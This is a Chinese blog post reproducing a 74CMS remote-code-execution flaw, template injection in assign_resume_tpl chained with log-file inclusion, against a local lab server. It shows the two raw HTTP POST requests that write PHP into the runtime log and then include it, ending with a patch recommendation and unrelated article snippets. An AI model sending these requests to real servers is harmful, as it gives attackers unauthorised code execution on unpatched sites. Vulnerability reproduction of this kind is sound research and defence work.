骑士CMS模版注入+文件包含getshell漏洞复现

VSole2021-07-03 08:14:26

一、骑士CMS简介

骑士人才系统,是一项基于 PHP+MYSQL 为核心开发的一套 免费+开源 专业人才招聘系统,使用了ThinkPHP框架(3.2.3);由太原迅易科技有限公司于2009年正式推出。为个人求职和企业招聘提供信息化解决方案, 骑士人才系统具备执行效率高、模板切换自由、后台管理功能灵活、模块功能强大等特点,自上线以来一直是职场人士、企业HR青睐的求职招聘平台。

经过7年的发展,骑士人才系统已成国内人才系统行业的排头兵。系统应用涉及政府、企业、科研教育和媒体等行业领域,用户已覆盖国内所有省份和地区。2016年全新推出骑士人才系统基础版,全新的“平台+插件”体系,打造用户“DIY”个性化功能定制,为众多地方门户、行业人才提供一个专业、稳定、方便的网络招聘管理平台,致力发展成为引领市场风向的优质高效的招聘软件

二、环境搭建

此次采用

windows10+Nginx+MySQL+PHP,使用phpstudy进行的环境配置,注意PHP版本最好使用 PHP 5.5及以上,MySQL版本 5.7.6及以上,我这里使用PHP版本5.4.45


然后这里放一下骑士cms的下载链接:

https://pan.hallolck.com/s/y06I6


三、安装过程

 

四、漏洞概述

官方公告地址


http://www.74cms.com/news/show-2497.html

/Application/Common/Controller/BaseController.class.php

文件的assign_resume_tpl函数因为过滤不严格,导致了模板注入,可以进行远程命令执行

影响版本:骑士CMS < 6.0.48>

五、漏洞复现

写入日志

POST参数:

http://your-ip/index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl= phpinfo(); ob_flush();?>/r/n"info" 企业id="$_GET['id']"/>

我们来POST一下看看

POST /74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1Host: 192.168.1.6Content-Length: 98Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://192.168.1.6/74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tplDNT: 1Connection: closeCookie: PHPSESSID=vj12p9l3pnqkc09ostum5m7mfu; think_language=zh-CN; think_template=defaultUpgrade-Insecure-Requests: 1Cache-Control: max-age=0variable=1&tpl=/r/n

 可以看到返回了错误,日志已经记录了

我们来翻一下日志

日志路径: \upload\data\Runtime\Logs\Home

成功写入

接下来我们尝试包含日志,日志名称就是测试当天的年月日

包含日志

POST参数:

http://your-ip/index.php?m=home&a=assign_resume_tpl POST: variable=1&tpl=data/Runtime/Logs/Home/20_12_22.log

我们来POST一下看看

POST /74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1Host: 192.168.1.6Content-Length: 52Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://192.168.1.6/74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tplDNT: 1Connection: closeCookie: PHPSESSID=vj12p9l3pnqkc09ostum5m7mfu; think_language=zh-CN; think_template=defaultUpgrade-Insecure-Requests: 1Cache-Control: max-age=0
variable=1&tpl=./data/Runtime/Logs/Home/21_07_01.log

六、修复建议

下载官方最新补丁包

http://www.74cms.com/download/index.html
骑士cms
本作品采用《CC 协议》,转载必须注明作者和本文链接
骑士人才系统,是一项基于 PHP+MYSQL 为核心开发的一套 免费+开源 专业人才招聘系统,使用了ThinkPHP框架(3.2.3);由太原迅易科技有限公司于2009年正式推出。为个人求职和企业招聘提供信息化解决方案, 骑士人才系统具备执行效率高、模板切换自由、后台管理功能灵活、模块功能强大等特点,自上线以来一直是职场人士、企业HR青睐的求职招聘平台。
近日,阿里云应急响应中心监测到骑士CMS官方发布安全更新,修复了一处远程代码执行漏洞。由于骑士CMS某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。漏洞利用简单,且相关利用细节已公开,阿里云应急响应中心提醒骑士CMS用户尽快采取安全措施阻止漏洞攻击。影响版本 骑士CMS < 安全版本 骑士CMS 安全建议 1. 升级骑士CMS至最新版本。
起因是,朋友丢了个IP过来
CMS漏洞合集
2023-06-27 16:12:06
2)contorl.php:对$_GET进行全局过滤危险的SQL函数。这个过滤从最简单的角度来说,即mysql<8的情况下,把select禁用了,其实就没办法进行跨表查询,SQL利用造成危害的可能性会大大降低,当然这是一种直接且无需考虑用户体验为原则的暴力做法,点到为止吧。回到web_inc.php,继续阅读,后面吸引我的地方,在于 89 line一处SQL语句的地方。
细说从0开始挖掘cms-
2022-08-17 16:26:57
确立目标挖洞的第一步首先是确立一个目标,也就是找个cms来挖,这里可以通过github,gitee或者谷歌百度直接去搜cms。或者cnvd查看相应的信息,通过查看相应的信息可以提高我们挖洞的效率,我们从中可以知道该项目已经存在漏洞,我们到时候挖就可以看看相应的地方会不会还存在漏洞或者避免挖到别人挖过的漏洞。本次挖掘的漏洞是ofcms,首先先下载一下源码,然后解压丢一边,回到网页来看一下项目文档。
漏洞复现成功率加成......
Lazarus又名APT38,是一个知名的朝鲜语APT组织。主要负责以获得外汇为目的的攻击。
本文将对EmpireCMS(帝国cms)的漏洞进行分析及复现。代码分析这一块主要还是借鉴了大佬们的一些分析思想,这里对大佬们提供的思路表示衷心的感谢。
通过找源码代码审计后getshell。测试在某次测试过程中发现,通过泄漏的md5进入后台,在后台配置中有处“上传logo”的功能。会提示“上传失败”。只有正常图片+图片后缀 会返回图片路径。第一行 导入命名空间“phpWeChat” 内的 Upload 类,下面是引用包含一些文件。再往下,$action是用于下面 switch函数内做索引匹配而调用不同功能的。$action的值是通过 GET方式获取 “action”参数的值。
VSole
网络安全专家